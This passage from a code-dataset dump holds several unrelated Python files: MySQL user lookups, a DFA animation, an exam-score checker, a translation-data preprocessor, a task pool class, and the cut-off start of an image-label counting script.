+{"seq_id":"597785995","text":"from api.apiutils import *\nfrom api.extensions import mysql\nimport random\n\"\"\"\nUtility module for querying users based on certain information.\n\"\"\"\n\n\ndef get_user_by_email(email):\n    \"\"\"\n    Checks database and returns object representing user with that username.\n    :param email: email of CultureMesh account (string)\n    :return: user_obj from db or None if no corresponding found.\n    \"\"\"\n    connection = mysql.get_db()\n    cursor = connection.cursor()\n    query = \"SELECT * FROM users WHERE email=%s\"\n    cursor.execute(query, (email,))\n    user_db_tuple = cursor.fetchone()\n    if user_db_tuple is None:\n        return None\n    user = convert_objects([user_db_tuple], cursor.description)[0]\n    cursor.close()\n    return user\n\n\ndef get_user_by_id(id):\n    \"\"\"\n    Checks database and returns object representing user with that id.\n    :param id: id of CultureMesh account (string)\n    :return: user_obj from db or None if no corresponding found.\n    \"\"\"\n    connection = mysql.get_db()\n    cursor = connection.cursor()\n    # Note table_name is never supplied by a client, so we do not\n    # need to escape it.\n    query = \"SELECT * FROM users WHERE id=%s\"\n    cursor.execute(query, (id,))\n    user_db_tuple = cursor.fetchone()\n    if user_db_tuple is None:\n        return None\n    user = convert_objects([user_db_tuple], cursor.description)[0]\n    cursor.close()\n    return user\n\n\ndef get_user_by_username(username):\n    \"\"\"\n    Checks database and returns object representing user with that id.\n    :param username: id of CultureMesh account (string)\n    :return: user_obj from db or None if no corresponding found.\n    \"\"\"\n    connection = mysql.get_db()\n    cursor = connection.cursor()\n    query = \"SELECT * FROM users WHERE username=%s\"\n    cursor.execute(query, (username,))\n    user_db_tuple = cursor.fetchone()\n    if user_db_tuple is None:\n        return None\n    user = convert_objects([user_db_tuple], cursor.description)[0]\n    cursor.close()\n    return user\n\n\ndef generate_user_name():\n    \"\"\"\n    Generates user names for each user with a NULL username field.\n    \"\"\"\n    connection = mysql.get_db()\n    cursor = connection.cursor()\n    cursor.execute(\"SELECT * FROM users WHERE username IS NULL\")\n    users_obj = convert_objects(cursor.fetchall(), cursor.description)\n    cursor.close()\n    counter = random.randint(1, 101)\n    for user in users_obj:\n        # Set username. It will be\n        # [first letter of firstname][lastname without spaces/special charcters][a number to differentiate]\n        user_name = \"\"\n        if 'first_name' in user and user['first_name'] is not None:\n            user_name += user[\"first_name\"][:1]\n        if 'last_name' in user and user['last_name'] is not None:\n            # https://stackoverflow.com/questions/5843518/remove-all-special-characters-punctuation-and-spaces-from-string\n            user_name += ''.join(e for e in user[\"last_name\"] if e.isalnum())\n        user_name += str(counter)\n        counter += 1\n        put_cursor = connection.cursor()\n        put_cursor.execute(\"UPDATE users SET username=%s WHERE id=%s\", (user_name, user['id']))\n        connection.commit()\n    return make_response(\"OK\", HTTPStatus.OK)\n\n\ndef _add_user_to_event(user_id, event_id, role):\n    \"\"\"\n    Registers user to an event.\n    :param user_id: id of user\n    :param event_id: id of event\n    :param role: either \"host\" or \"guest\"\n    \"\"\"\n    connection = mysql.get_db()\n    event_registration_cursor = connection.cursor()\n    event_registration_cursor.execute(\"INSERT INTO event_registration VALUES (%s,%s,CURRENT_TIMESTAMP, %s)\",\n                                      (user_id, event_id, role))\n    connection.commit()\n\n\ndef _remove_user_from_event(user_id, event_id):\n    \"\"\"\n    Removes a user-event pair from the event_registration table.\n    :param user_id: id of user.\n    :param event_id: id of event\n    \"\"\"\n    connection = mysql.get_db()\n    cursor = connection.cursor()\n    cursor.execute(\"DELETE FROM event_registration WHERE id_event=%s AND id_guest=%s\", (event_id, user_id))\n    connection.commit()","sub_path":"api/blueprints/users/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"402557960","text":"from ghetto_manim import *\nimport time\nimport random\n\n# Suppress scientific notation\nnp.set_printoptions(suppress=True)\n\n# Special Shape Classes\nclass Adjacent1sDFA(ParamShapeGroup):\n    class Vertex:\n        def __init__(self, center_x, center_y, radius, color, fill_p=0, stop=1, recognizing=False):\n            self.recognizing = recognizing\n            self.circle = Circle(center_x, center_y, radius, color, fill_p=fill_p, stop=stop)\n\n            if recognizing:\n                k = 1.2\n                l = 1.3\n                self.circle2 = Circle(center_x, center_y, k*radius, color, fill_p=fill_p, stop=stop)\n                self.trace_circle = Circle(center_x, center_y, l*radius, apple_colors['lightyellow'], fill_p=-1, stop=0)\n\n            # Categorize children by edge label needed to reach there.\n            self.children = {'a': [], 'b': []}\n\n            # Tag\n            self.tag = 'c' + str(random.randint(10000, 90000))\n\n            # Base color\n            self.base_color = color\n\n        def add_child(self, vertex, key):\n            self.children[key].append(vertex)\n\n    def __init__(self, read_string):\n        r = 100\n        sep_dist = 2*r\n        self.edge_map = {}\n\n        self.read_string = read_string\n        self.current_char_index = 0\n\n        start_vertex = self.Vertex((-2*r) - sep_dist, 0, r, apple_colors['lightblue'])\n        middle_vertex = self.Vertex(0, 0, r, apple_colors['lightpurple'])\n        recog_vertex = self.Vertex((2*r) + sep_dist, 0, r, apple_colors['lightindigo'], recognizing=True)\n\n        self.original_curr_vert = copy.copy(start_vertex)\n\n        start_vertex.add_child(middle_vertex, 'a')\n        start_vertex.add_child(start_vertex, 'b')\n        middle_vertex.add_child(start_vertex, 'b')\n        middle_vertex.add_child(recog_vertex, 'a')\n        recog_vertex.add_child(recog_vertex, 'a')\n        recog_vertex.add_child(recog_vertex, 'b')\n\n        self.edge_arrows = self.__create_edges__([start_vertex, middle_vertex, recog_vertex], '00,01,10,12,22',\n                                                [(np.pi/3, np.pi/3), (np.pi/4, np.pi/4),\n                                                 (np.pi+(np.pi/4), np.pi+(np.pi/4)),\n                                                 (np.pi/4, np.pi/4), (np.pi/3, np.pi/3)])\n\n        self.current_vertex = start_vertex\n\n        objects = [start_vertex.circle, middle_vertex.circle, recog_vertex.circle2, recog_vertex.circle,\n                   recog_vertex.trace_circle, *self.edge_arrows]\n\n        super().__init__(objects, start=0, stop=0)\n\n    def __create_edges__(self, vertices, edge_encoding, edge_angles):\n        '''\n            vertices: list of Vertex objects\n            edge_encoding: a string of the form '00, 01, 10, 12, 22', where 0,1,2 refer to indices in vertex list,\n                           and ij refers to an edge from the ith vertex to the jth vertex.\n            edge_angle = list of pairs (alpha_k, beta_k) where alpha_i represents the angle from the horizontal\n                         measured counter-clockwise that the kth edge arrow curve leaves a vertex, and beta_i\n                         represents the angle from the horizontal measured CLOCKWISE that the edge arrow curve\n                         enters a vertex.\n        '''\n\n        edge_comps = []\n        for i, edge in enumerate(edge_encoding.split(',')):\n            c1, c2 = vertices[int(edge[0])].circle, vertices[int(edge[1])].circle\n\n            curvature = 250\n            if edge[0] == edge[1]:\n                curvature *= -1\n\n            alpha_i, beta_i = edge_angles[i][0], edge_angles[i][1]\n            curve = CurvedLine(c1.center_x + c1.radius*np.cos(alpha_i), c1.center_y + c1.radius*np.sin(alpha_i),\n                               c2.center_x - c2.radius*np.cos(beta_i), c2.center_y + c2.radius*np.sin(beta_i),\n                               (255, 255, 255), fill_p=-1, curve_place=0.5, curve_amount=curvature, stop=1)\n\n            triangle = Triangle(*curve.p2, (255, 255, 255), fill_p=0.2, stop=1,\n                                rot_theta=curve.curve_angle(), scale_x=10, scale_y=10)\n\n            edge_tup = [curve, triangle]\n\n            self.__set_edge_tup__(vertices[int(edge[0])], vertices[int(edge[1])], edge_tup)\n            edge_comps.extend(edge_tup)\n\n        return edge_comps\n\n    def __set_edge_tup__(self, v1, v2, edge_tup):\n        '''\n            c1, c2: vertices that edge is connecting\n            edge_tup: (CurvedLine object, Triangle object)\n        '''\n        tag = v1.tag + v2.tag\n        self.edge_map[tag] = edge_tup\n\n    def __get_edge_tup__(self, v1, v2):\n        tag = v1.tag + v2.tag\n        return self.edge_map[tag]\n\n    def __get_edge_tups_tofrom__(self, v):\n        # Lame idea but won't slow animations as this is done beforehand.\n        edge_tups_in = []\n        edge_tups_out = []\n        for key in self.edge_map.keys():\n            if key[:6] == v.tag:\n                edge_tups_out.append(self.edge_map[key])\n\n            if key[6:] == v.tag:\n                edge_tups_in.append(self.edge_map[key])\n\n        return edge_tups_in, edge_tups_out\n\n    def expand_current_vertex_step(self, ease, t):\n        if t == 0:\n            self.prior_edge_tups_in_xy = []\n            self.prior_edge_tups_out_xy = []\n\n        v = self.current_vertex\n        c = v.circle\n\n        c.scale_step(1.2, 1.2, ease, t)\n        if v.recognizing:\n            v.circle2.scale_step(1.1, 1.1, ease, t)\n            v.trace_circle.scale_step(1.1, 1.1, ease, t)\n\n        edge_tups_in, edge_tups_out = self.__get_edge_tups_tofrom__(v)\n\n        for i, edge_tup in enumerate(edge_tups_in):\n            curve, triangle = edge_tup[0], edge_tup[1]\n\n            center = np.array([c.center_x, c.center_y])\n            if t == 0:\n                self.prior_edge_tups_in_xy.append(((curve.p2 - center) * 1.2) + center)\n\n            curve.translate_tip(self.prior_edge_tups_in_xy[i], ease, t)\n            triangle.offset_theta = curve.curve_angle\n            triangle.offsets_xy = curve.p2\n\n        for i, edge_tup in enumerate(edge_tups_out):\n            curve, triangle = edge_tup[0], edge_tup[1]\n\n            center = np.array([c.center_x, c.center_y])\n            if t == 0:\n                self.prior_edge_tups_out_xy.append(((curve.p1 - center) * 1.2) + center)\n\n            curve.translate_tail(self.prior_edge_tups_out_xy[i], ease, t)\n\n    def contract_current_vertex_step(self, ease, t):\n        if t == 0:\n            self.prior_edge_tups_in_xy = []\n            self.prior_edge_tups_out_xy = []\n\n        v = self.current_vertex\n        c = v.circle\n\n        c.scale_step(1, 1, ease, t)\n        if v.recognizing:\n            v.circle2.scale_step(1, 1, ease, t)\n            v.trace_circle.scale_step(1, 1, ease, t)\n\n        edge_tups_in, edge_tups_out = self.__get_edge_tups_tofrom__(v)\n\n        for i, edge_tup in enumerate(edge_tups_in):\n            curve, triangle = edge_tup[0], edge_tup[1]\n\n            center = np.array([c.center_x, c.center_y])\n            if t == 0:\n                self.prior_edge_tups_in_xy.append(((curve.p2 - center) / 1.2) + center)\n\n            curve.translate_tip(self.prior_edge_tups_in_xy[i], ease, t)\n            triangle.offset_theta = curve.curve_angle\n            triangle.offsets_xy = curve.p2\n\n        for i, edge_tup in enumerate(edge_tups_out):\n            curve, triangle = edge_tup[0], edge_tup[1]\n\n            center = np.array([c.center_x, c.center_y])\n            if t == 0:\n                self.prior_edge_tups_out_xy.append(((curve.p1 - center) / 1.2) + center)\n\n            curve.translate_tail(self.prior_edge_tups_out_xy[i], ease, t)\n\n        if t >= 1:\n            char = self.read_string[self.current_char_index]\n            self.current_vertex = self.current_vertex.children[char][0]\n            self.current_char_index += 1\n\n    def trace_arrow_step(self, trace_edge, trace_triangle, ease, t):\n        # if t == 0:\n        # char = self.read_string[self.current_char_index]\n        # self.edge, self.triangle = self.edge_map[self.current_vertex.tag + self.current_vertex.children[char][0].tag]\n        #\n        # trace_edge.p1, trace_edge.p2 = self.edge.p1, self.edge.p2\n        # trace_edge.t_k = self.edge.t_k\n        # trace_edge.curve_amount = self.edge.curve_amount\n        # trace_edge.bounds = [0, 0]\n        # trace_edge.__calculate_p_mid__()\n        #\n        # trace_triangle.offsets_xy = self.triangle.offsets_xy\n        # trace_triangle.offset_theta = self.triangle.offset_theta\n        # trace_triangle.scale_x = self.triangle.scale_x\n        # trace_triangle.scale_y = self.triangle.scale_y\n        #\n        # t = ease(t)\n        #\n        # trace_edge.draw_step(1, ease, t)\n        # trace_triangle.draw_step(1, ease, t)\n        # self.edge.undraw(1, ease, t)\n        pass\n\n    def untrace_arrow_step(self, trace_edge, trace_triangle, ease, t):\n        # char = self.read_string[self.current_char_index]\n        #\n        # if t == 0:\n        #     self.edge, self.triangle = self.edge_map[self.current_vertex.tag + self.current_vertex.children[char][0].tag]\n        #     self.edge.bounds = [0, 0]\n        #\n        # trace_edge.p1, trace_edge.p2 = self.edge.p1, self.edge.p2\n        # trace_edge.t_k = self.edge.t_k\n        # trace_edge.curve_amount = self.edge.curve_amount\n        # trace_edge.bounds = [0, 1]\n        # trace_edge.__calculate_p_mid__()\n        #\n        # trace_triangle.offsets_xy = self.triangle.offsets_xy\n        # trace_triangle.offset_theta = self.triangle.offset_theta\n        # trace_triangle.scale_x = self.triangle.scale_x\n        # trace_triangle.scale_y = self.triangle.scale_y\n        #\n        # t = ease(t)\n        #\n        # trace_edge.undraw(1, ease, t)\n        # trace_triangle.undraw(1, ease, t)\n        # self.edge.draw_step(1, ease, t)\n        pass\n\n\n    def trace_curr_vertex_step(self, color, ease, t):\n        v = self.current_vertex\n        v.trace_circle.color = color\n        v.trace_circle.draw_step(1, ease, t)\n\n    def untrace_curr_vertex_step(self, ease, t):\n        v = self.current_vertex\n        assert v.trace_circle.bounds[1] > 0\n\n        v.trace_circle.undraw(1, ease, t)\n\n        if t >= 1:\n            v.trace_circle.bounds[0] = 0\n            v.trace_circle.bounds[1] = 0\n\n    def fill_curr_vertex_step(self, ease, t):\n        v = self.current_vertex\n        v.circle.fade_fill_step(0.15, ease, t)\n\n        if v.recognizing:\n            v.circle2.fade_fill_step(0.05, ease, t)\n\n    def unfill_curr_vertex_step(self, ease, t):\n        v = self.current_vertex\n        v.circle.fade_fill_step(0, ease, t)\n\n        if v.recognizing:\n            v.circle2.fade_fill_step(0, ease, t)\n\n    def change_curr_vertex_color_step(self, color, ease, t):\n        v = self.current_vertex\n        v.circle.fade_color_step(color, ease, t)\n\n        if v.recognizing:\n            v.circle2.fade_color_step(color, ease, t)\n\n\n# Special animation procedures\ndef make_curr_vertex_active(animator, dfa, parent_anim, delay):\n    final_anim = None\n\n    if dfa.current_vertex.recognizing:\n        animator.add_animation(dfa.trace_curr_vertex_step, [apple_colors['lightyellow'], smooth],\n                               duration=30, parent_animation=parent_anim, delay=delay)\n        animator.add_animation(dfa.untrace_curr_vertex_step, [smooth], duration=20,\n                               parent_animation=parent_anim, delay=delay+15)\n\n        animator.add_animation(dfa.expand_current_vertex_step, [smooth], duration=30, parent_animation=parent_anim,\n                               delay=delay+5)\n\n        animator.add_animation(dfa.fill_curr_vertex_step, [smooth], duration=30, parent_animation=parent_anim,\n                               delay=delay+7)\n\n        final_anim = animator.add_animation(dfa.change_curr_vertex_color_step, [apple_colors['lightorange'], smooth], duration=30,\n                               parent_animation=parent_anim, delay=delay+7)\n\n    else:\n        final_anim = animator.add_animation(dfa.expand_current_vertex_step, [smooth], duration=20, parent_animation=parent_anim,\n                               delay=delay)\n\n    return final_anim\n\ndef make_curr_vertex_inactive(animator, dfa, parent_anim, delay):\n    final_anim = None\n\n    if dfa.current_vertex.recognizing:\n        animator.add_animation(dfa.contract_current_vertex_step, [smooth], duration=30, parent_animation=parent_anim,\n                               delay=delay+5)\n\n        animator.add_animation(dfa.unfill_curr_vertex_step, [smooth], duration=30, parent_animation=parent_anim,\n                               delay=delay+7)\n\n        final_anim = animator.add_animation(dfa.change_curr_vertex_color_step, [dfa.current_vertex.base_color, smooth], duration=30,\n                               parent_animation=parent_anim, delay=delay+7)\n\n    else:\n        final_anim = animator.add_animation(dfa.contract_current_vertex_step, [smooth], duration=20,\n                                            parent_animation=parent_anim, delay=delay)\n\n    return final_anim\n\n# Time Step\ndt = 0.001\n\n\ndef scene():\n    global dt\n    # Object Construction\n    stringy = 'ababbbaabb'\n    dfa = Adjacent1sDFA(read_string = stringy)\n    trace_edge = CurvedLine(0, 0, 0, 0, apple_colors['lightyellow'], -1, stop=0)\n    trace_triangle = Triangle(0, 0, apple_colors['lightyellow'], -1, stop=0)\n\n    box = Rectangle(-92, -260, -46, -340, color=apple_colors['lightgreen'], stop=0)\n\n    objects = [dfa, box]\n\n    # Animation Tree Construction\n    animator = Animator()\n    empty_anim = animator.get_root()\n\n    draw = animator.add_animation(dfa.draw_step, [1, smooth], duration=100, parent_animation=empty_anim, delay=5)\n    latest_anims = [make_curr_vertex_active(animator, dfa, draw, delay=10)]\n\n    animator.add_animation(box.draw_step, [1, smooth], duration=30, parent_animation=empty_anim, delay=10)\n\n    for i, char in enumerate(stringy):\n        latest_anims.append(make_curr_vertex_inactive(animator, dfa, latest_anims[-1], delay=10))\n        dfa.current_vertex = dfa.current_vertex.children[char][0]\n        animator.add_animation(box.translate_step, [-69 + ((i + 1) * 47), -300, smooth], duration=20,\n                               parent_animation=latest_anims[-1], delay=0)\n        latest_anims.append(make_curr_vertex_active(animator, dfa, latest_anims[-1], delay=10))\n\n    dfa.current_vertex = dfa.original_curr_vert\n\n\n    # Scene Parameters\n    picasso = Painter(w, objects)\n\n    # Play em'!\n    while True:\n        animator.update_step()\n        picasso.paint_step()\n\n        time.sleep(dt)\n\n\n# Main Function\nif __name__ == '__main__':\n    scene()\n\n\n# Necessary line for Tkinter\nmainloop()","sub_path":"2D Animation/DFA.py","file_name":"DFA.py","file_ext":"py","file_size_in_byte":14601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"375658067","text":"# enter three exam scores\r\n# exam pass score is 40 or greaster\r\n# at least two exams must be passed\r\n# the aaverage should be 50 and up\r\n\r\nj = 0\r\nscore_list = []\r\nwhile True:\r\n    try:\r\n        score1 = int(input(\" Enter first score\"))\r\n    except ValueError:\r\n        print(\"Ooops, not valid, reenter\")\r\n        continue\r\n    score_list.append(score1)\r\n    break\r\nwhile True:\r\n    try:\r\n        score2 = int(input(\" Enter second score\"))\r\n    except ValueError:\r\n        print(\"Ooops, not valid, reenter\")\r\n        continue\r\n    score_list.append(score2)\r\n    break\r\nwhile True:\r\n    try:\r\n        score3 = int(input(\" Enter third score\"))\r\n    except ValueError:\r\n        print(\"Ooops, not valid, reenter\")\r\n        continue\r\n    score_list.append(score3)\r\n    break\r\nfor i in range(3):\r\n    if score_list[i] < 40:\r\n        j += 1\r\nif j <= 1 and sum(score_list) / 3 >= 50:\r\n    print(\"Passed!\")\r\nelse:\r\n    print(\"Failed......\")\r\n","sub_path":"FileNine.py","file_name":"FileNine.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"185428385","text":"from sen_model_gen import Sentence_model_gen\r\nimport sentencepiece as spm\r\nfrom collections import Counter, OrderedDict\r\nimport numpy as np\r\nfrom torch.utils.data import DataLoader\r\nfrom torch import nn\r\n\r\n\r\nclass Preprocess(nn.Module):\r\n\r\n    def __init__(self, config, logger):\r\n        super(Preprocess, self).__init__()\r\n\r\n        self.prefix_en = \"EN\"\r\n        self.prefix_de = \"DE\"\r\n        self.config = config\r\n        self.logger = logger\r\n        self.sentence_model_gen = config.sentence_model_gen\r\n        self.input_file = config.input_file_dir\r\n        self.output_file = config.output_file_dir\r\n        self.batch_size = config.batch_size\r\n\r\n        if self.sentence_model_gen == \"True\":\r\n            Sentence_model_gen(self.prefix_en, self.prefix_de, config)\r\n\r\n\r\n    def tokenize_en(self):\r\n\r\n        token2idx_en = dict()\r\n        idx2token_en = dict()\r\n        wordpiece_list_en = list()\r\n        word_maxlen_en = 0\r\n        sen_maxlen_en = 0\r\n        sen_len_list_en = list()\r\n\r\n        sp_en = spm.SentencePieceProcessor()\r\n        sp_en.Load('{}.model'.format(self.prefix_en))\r\n        piece_size = sp_en.GetPieceSize()\r\n\r\n        with open(self.input_file, 'r', encoding='utf-8') as df:\r\n            lines = df.readlines()\r\n            for i, line in enumerate(lines):\r\n                wordpiece = sp_en.EncodeAsPieces(line)\r\n                wordidx = sp_en.EncodeAsIds(line)\r\n                wordpiece_list_en.append(wordidx)\r\n                sen_len_list_en.append(len(line))\r\n                if len(wordpiece) >= sen_maxlen_en:\r\n                    sen_maxlen_en = len(wordpiece)\r\n\r\n                if i == 0:\r\n                    #print(\"first wordpiece : {}\".format(wordpiece))\r\n                    #print(\"first wordidx : {}\".format(wordidx))\r\n                    #print(\"first sentense length : {}\".format(len(line)))\r\n\r\n                    self.logger.info(\"----- tokenize en first data -----\")\r\n                    self.logger.info(wordpiece)\r\n                    self.logger.info(wordidx)\r\n                    self.logger.info(token2idx_en)\r\n\r\n            for idx in range(piece_size):\r\n                token = sp_en.IdToPiece(idx)\r\n                token2idx_en[token] = idx\r\n                idx2token_en[idx] = token\r\n                if len(token) >= word_maxlen_en:\r\n                    word_maxlen_en = len(token)\r\n\r\n        return token2idx_en, idx2token_en, wordpiece_list_en, word_maxlen_en, sen_maxlen_en, sen_len_list_en\r\n\r\n\r\n    def tokenize_de(self):\r\n\r\n        token2idx_de = dict()\r\n        idx2token_de = dict()\r\n        wordpiece_list_de = list()\r\n        word_maxlen_de = 0\r\n        sen_maxlen_de = 0\r\n        sen_len_list_de = list()\r\n\r\n        sp_de = spm.SentencePieceProcessor()\r\n        sp_de.Load('{}.model'.format(self.prefix_de))\r\n        piece_size = sp_de.GetPieceSize()\r\n\r\n        with open(self.output_file, 'r', encoding='utf-8') as df:\r\n            lines = df.readlines()\r\n            for i, line in enumerate(lines):\r\n                wordpiece = sp_de.EncodeAsPieces(line)\r\n                wordidx = sp_de.EncodeAsIds(line)\r\n                wordpiece_list_de.append(wordidx)\r\n                sen_len_list_de.append(len(line))\r\n                if len(wordpiece) >= sen_maxlen_de:\r\n                    sen_maxlen_de = len(wordpiece)\r\n\r\n                if i == 0:\r\n                    #print(\"first wordpiece : {}\".format(wordpiece))\r\n                    #print(\"first wordidx : {}\".format(wordidx))\r\n                    #print(\"first sentense length : {}\".format(len(line)))\r\n\r\n                    self.logger.info(\"----- tokenize de first data -----\")\r\n                    self.logger.info(wordpiece)\r\n                    self.logger.info(wordidx)\r\n                    self.logger.info(token2idx_de)\r\n\r\n            for idx in range(piece_size):\r\n                token = sp_de.IdToPiece(idx)\r\n                token2idx_de[token] = idx\r\n                idx2token_de[idx] = token\r\n                if len(token) >= word_maxlen_de:\r\n                    word_maxlen_de = len(token)\r\n\r\n        return token2idx_de, idx2token_de, wordpiece_list_de, word_maxlen_de, sen_maxlen_de, sen_len_list_de\r\n\r\n\r\n    def get_final_data(self):\r\n\r\n        source = list()\r\n        target = list()\r\n\r\n        token2idx_en, idx2token_en, wordpiece_list_en, word_maxlen_en, sen_maxlen_en, sen_len_list_en = self.tokenize_en()\r\n        token2idx_de, idx2token_de, wordpiece_list_de, word_maxlen_de, sen_maxlen_de, sen_len_list_de = self.tokenize_de()\r\n\r\n        self.logger.info(\"max length of en word : {}\".format(word_maxlen_en))\r\n        self.logger.info(\"max length of de word : {}\".format(word_maxlen_de))\r\n        self.logger.info(\"max length of en sentence : {}\".format(sen_maxlen_en))\r\n        self.logger.info(\"max length of de sentence : {}\".format(sen_maxlen_de))\r\n\r\n        cutoff_max_sen_len_en = self.find_cutoff_max_sen_len(0.1, sen_len_list_en)\r\n        cutoff_max_sen_len_de = self.find_cutoff_max_sen_len(0.1, sen_len_list_de)\r\n        cutoff_max_sen_len = max(cutoff_max_sen_len_en, cutoff_max_sen_len_de)\r\n\r\n        #print(cutoff_max_sen_len)\r\n\r\n        for idx in range(len(wordpiece_list_en)):\r\n            if max(len(wordpiece_list_en[idx]), len(wordpiece_list_de[idx])) <= cutoff_max_sen_len:\r\n                source.append(np.array(wordpiece_list_de[idx]))\r\n                target.append(np.array(wordpiece_list_en[idx]))\r\n\r\n        #print(len(source))\r\n        #print(len(target))\r\n\r\n        inputs = np.zeros([len(source), cutoff_max_sen_len], dtype=np.int32)\r\n        outputs = np.zeros([len(target), cutoff_max_sen_len], dtype=np.int32)\r\n\r\n        for idx, (x, y) in enumerate(zip(source, target)):  # source : english, target : german\r\n            inputs[idx, :len(x)] = x\r\n            outputs[idx, :len(y)] = y\r\n\r\n        #print(\"Source Matrix Shape (DE):\", inputs.shape)\r\n        #print(\"Target Matrix Shape (EN):\", outputs.shape)\r\n        #print()\r\n        #print('------------------------ Show the example case ------------------------')\r\n        #print(inputs[0])\r\n        #print(outputs[0])\r\n\r\n        #print('------------------------ Show the example case ------------------------')\r\n        #print(inputs[10])\r\n        #print(outputs[10])\r\n\r\n        self.logger.info(\"inputs / outputs shape, first : inputs / second : outputs\")\r\n        self.logger.info(inputs.shape)\r\n        self.logger.info(outputs.shape)\r\n\r\n        return token2idx_en, idx2token_en, token2idx_de, idx2token_de, inputs, outputs, cutoff_max_sen_len\r\n\r\n\r\n    def find_cutoff_max_sen_len(self, cutoff_value, sen_len_list):\r\n\r\n        count_sen_len = Counter(sen_len_list)\r\n        total_count_sen_len = sum(count_sen_len.values())\r\n        dict_count_sen_len = dict(count_sen_len)\r\n        dict_count_sen_len = OrderedDict(sorted(dict_count_sen_len.items()))\r\n\r\n        temp_count_sen_len = 0\r\n        for k, v in dict_count_sen_len.items():\r\n            temp_count_sen_len += v\r\n            cdf_inv = temp_count_sen_len / total_count_sen_len\r\n            if cdf_inv >= cutoff_value:\r\n                cutoff_max_sen_len = k\r\n                #print(\"누적 {}%를 차지하는 sentence length 값 : {}\".format(cutoff_value*100, cutoff_max_sen_len))\r\n                break\r\n\r\n        self.logger.info(\"max sentence length cutoff value\")\r\n        self.logger.info(cutoff_max_sen_len)\r\n\r\n        return cutoff_max_sen_len\r\n\r\n\r\n    def dataloader(self, inputs, outputs, batch_size):\r\n\r\n        X = DataLoader(inputs, batch_size=batch_size, drop_last=True)\r\n        Y = DataLoader(outputs, batch_size=batch_size, drop_last=True)\r\n\r\n        return zip(X, Y)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"jaehoon/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":7610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"470619794","text":"import sys\nimport time\nimport uuid\nimport socket\nimport threading\n\nfrom multiprocessing.pool import ThreadPool\n\nfrom asyncpool.asyncresult import AsyncResult\nfrom asyncpool.backend import PyBackend\nfrom asyncpool.serializer import JSONSerializer\nfrom asyncpool.exceptions import TimeoutError\nfrom asyncpool import LOG\n\n'''\ntask = {\n    'queue': queue,\n    'id': task_id,\n    'func': func,\n    'args': args,\n    'kwds': kwds,\n    'pri': priority,\n    'expire': expire,\n    'res_ttl': res_ttl,\n}\n\nresult = {\n    'queue': queue,\n    'id': task_id,\n    'res': res,\n    'exc': exc,\n    'trb': trb,\n    'expire': expire\n}\n'''\n\n\nclass Pool(object):\n\n    def __init__(self, backend=None, store_backend=None):\n        self._backend = backend or PyBackend()\n        self._store_backend = store_backend or self._backend\n        self._backend.start()\n        if self._store_backend is not self._backend:\n            self._store_backend.start()\n\n    def __del__(self):\n        self._backend.stop()\n        if self._store_backend is not self._backend:\n            self._store_backend.stop()\n\n    def apply_async(\n            self, func, args=None, kwds=None, queue='default',\n            priority=0, ttl=300, res_ttl=300, local=False):\n        args = args or ()\n        kwds = kwds or {}\n        assert type(args) is tuple, 'args argument must be tuple'\n        assert type(kwds) is dict, 'kwds argument must be dict'\n        task_id = uuid.uuid4().hex\n        task = {\n            'queue': queue,\n            'id': task_id,\n            'func': func,\n            'args': args,\n            'kwds': kwds,\n            'pri': priority,\n            'expire': time.time() + ttl,\n            'res_ttl': res_ttl\n        }\n        self._backend.send_task(task, local=local)\n        return AsyncResult(task_id, queue, self._store_backend)\n\n    def join(self):\n        while self._backend.in_processing > 0 or self._backend.in_pending > 0:\n            time.sleep(0.2)\n","sub_path":"asyncpool/pool.py","file_name":"pool.py","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"229195136","text":"import os\nimport cv2\nimport math\nimport numpy as np\nfrom PIL import Image, ImageFont, ImageDraw\nimport ker\nllaz=0\nlo=0\nllao=0\nllatw=0\nllath=0\nllaf=0\n\n# doctor 0\nztllaz=0\nztlo=0\nztllao=0\nztllatw=0\nztllath=0\nztllaf=0\n# doctor 1\notllaz=0\notlo=0\notllao=0\notllatw=0\notllath=0\notllaf=0\n# doctor 2\ntwtllaz=0\ntwtlo=0\ntwtllao=0\ntwtllatw=0\ntwtllath=0\ntwtllaf=0\n# doctor 3\nthtllaz=0\nthtlo=0\nthtllao=0\nthtllatw=0\nthtllath=0\nthtllaf=0\n# doctor 4\nftllaz=0\nftlo=0\nftllao=0\nftllatw=0\nftllath=0\nftllaf=0\n\nrlaz=0\nro=0\nrlao=0\nrlatw=0\nrlath=0\nrlaf=0\n\n# doctor 0\nztrlaz=0\nztro=0\nztrlao=0\nztrlatw=0\nztrlath=0\nztrlaf=0\n# doctor 1\notrlaz=0\notro=0\notrlao=0\notrlatw=0\notrlath=0\notrlaf=0\n# doctor 2\ntwtrlaz=0\ntwtro=0\ntwtrlao=0\ntwtrlatw=0\ntwtrlath=0\ntwtrlaf=0\n# doctor 3\nthtrlaz=0\nthtro=0\nthtrlao=0\nthtrlatw=0\nthtrlath=0\nthtrlaf=0\n# doctor 4\nftrlaz=0\nftro=0\nftrlao=0\nftrlatw=0\nftrlath=0\nftrlaf=0\nmal=0 #mark angle left\nmar=0 #mark angle right\nmpl=0 #mark place left\nmpr=0 #mark place right\nfor q in os.listdir(r'./Dataset/pic/'):\n    z=q.split('.')\n    \n    mar,mal,mpr,mpl = ker.compute(z[0])\n\n    # left point\n    if(str(z[0][16])==str(0)):\n        llaz=llaz+1\n        if(str(mpl)==str(0)):\n            ztllaz=ztllaz+1\n        if(str(mpl)==str(1)):\n            ztllao=ztllao+1\n        if(str(mpl)==str(2)):\n            ztllatw=ztllatw+1\n        if(str(mpl)==str(3)):\n            ztllath=ztllath+1\n        if(str(mpl)==str(4)):\n            ztllaf=ztllaf+1\t\n\t\t\n    if(str(z[0][16])=='O'):\n        lo=lo+1\n        \n\t\t\t\n    if(str(z[0][16])==str(1)):\n        llao=llao+1\t\n        if(str(mpl)==str(0)):\n            otllaz=otllaz+1\n        if(str(mpl)==str(1)):\n            otllao=otllao+1\n        